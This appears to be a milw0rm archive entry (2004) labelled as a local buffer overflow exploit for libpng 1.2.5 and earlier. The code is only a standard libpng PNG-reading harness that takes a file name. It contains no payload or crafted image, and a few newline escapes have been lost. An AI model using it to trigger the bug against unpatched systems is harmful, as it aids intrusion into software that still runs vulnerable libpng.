// LibPNG <= 1.2.5 png_jmpbuf() Local Buffer Overflow Exploit

#include <stdio.h> 
#include <stdlib.h> 
#include "png.h" 

/* The png_jmpbuf() macro, used in error handling, became available in 
  * libpng version 1.0.6.   If you want to be able to run your code with older 
  * versions of libpng, you must define the macro yourself (but only if it 
  * is not already defined by libpng!). 
  */ 

#ifndef png_jmpbuf 
#define png_jmpbuf(png_ptr) ((png_ptr)->jmpbuf) 
#endif 
#define ERROR 1 
#define OK 0 

int read_png(char *file_name)   /* We need to open the file */ 
{ 
  png_structp png_ptr; 
  png_infop info_ptr; 
  unsigned int sig_read = 0; 
  png_uint_32 width, height; 
  int bit_depth, color_type, interlace_type; 
  FILE *fp; 

  if ((fp = fopen(file_name, "rb")) == NULL) 
      return (ERROR); 

  /* Create and initialize the png_struct with the desired error handler 
    * functions.   If you want to use the default stderr and longjump method, 
    * you can supply NULL for the last three parameters.   We also supply the 
    * the compiler header file version, so that we know if the application 
    * was compiled with a compatible version of the library.   REQUIRED 
    */ 
  png_ptr = png_create_read_struct(PNG_LIBPNG_VER_STRING, 
      NULL, NULL, NULL); 

  if (png_ptr == NULL) 
  { 
      fclose(fp); 
      return (ERROR); 
  } 

  /* Allocate/initialize the memory for image information.   REQUIRED. */ 
  info_ptr = png_create_info_struct(png_ptr); 
  if (info_ptr == NULL) 
  { 
      fclose(fp); 
      png_destroy_read_struct(&png_ptr, png_infopp_NULL, png_infopp_NULL); 
      return (ERROR); 
  } 

  /* Set error handling if you are using the setjmp/longjmp method (this is 
    * the normal method of doing things with libpng).   REQUIRED unless you 
    * set up your own error handlers in the png_create_read_struct() earlier. 
    */ 
  if (setjmp(png_jmpbuf(png_ptr))) 
  { 
      /* Free all of the memory associated with the png_ptr and info_ptr */ 
      png_destroy_read_struct(&png_ptr, &info_ptr, png_infopp_NULL); 
      fclose(fp); 
      /* If we get here, we had a problem reading the file */ 
      return (ERROR); 
  } 

  /* Set up the input control if you are using standard C streams */ 
  png_init_io(png_ptr, fp); 

  /* If we have already read some of the signature */ 
  png_set_sig_bytes(png_ptr, sig_read); 

  /* 
    * If you have enough memory to read in the entire image at once, 
    * and you need to specify only transforms that can be controlled 
    * with one of the PNG_TRANSFORM_* bits (this presently excludes 
    * dithering, filling, setting background, and doing gamma 
    * adjustment), then you can read the entire image (including 
    * pixels) into the info structure with this call: 
    */ 
  png_read_png(png_ptr, info_ptr, PNG_TRANSFORM_IDENTITY, png_voidp_NULL); 

  /* clean up after the read, and free any memory allocated - REQUIRED */ 
  png_destroy_read_struct(&png_ptr, &info_ptr, png_infopp_NULL); 

  /* close the file */ 
  fclose(fp); 

  /* that's it */ 
  return (OK); 
} 

int main(int argc, char **argv) 
{ 

    if(argc < 2){ 
        fprintf(stderr, "Usage: %s <png>n", argv[0]); 
        return EXIT_FAILURE; 
    } 

    if(read_png(argv[1]) != OK){ 
        fprintf(stderr, "Error reading pngn"); 
        return EXIT_FAILURE; 
    } 

    return 0; 
} 

// milw0rm.com [2004-08-13]
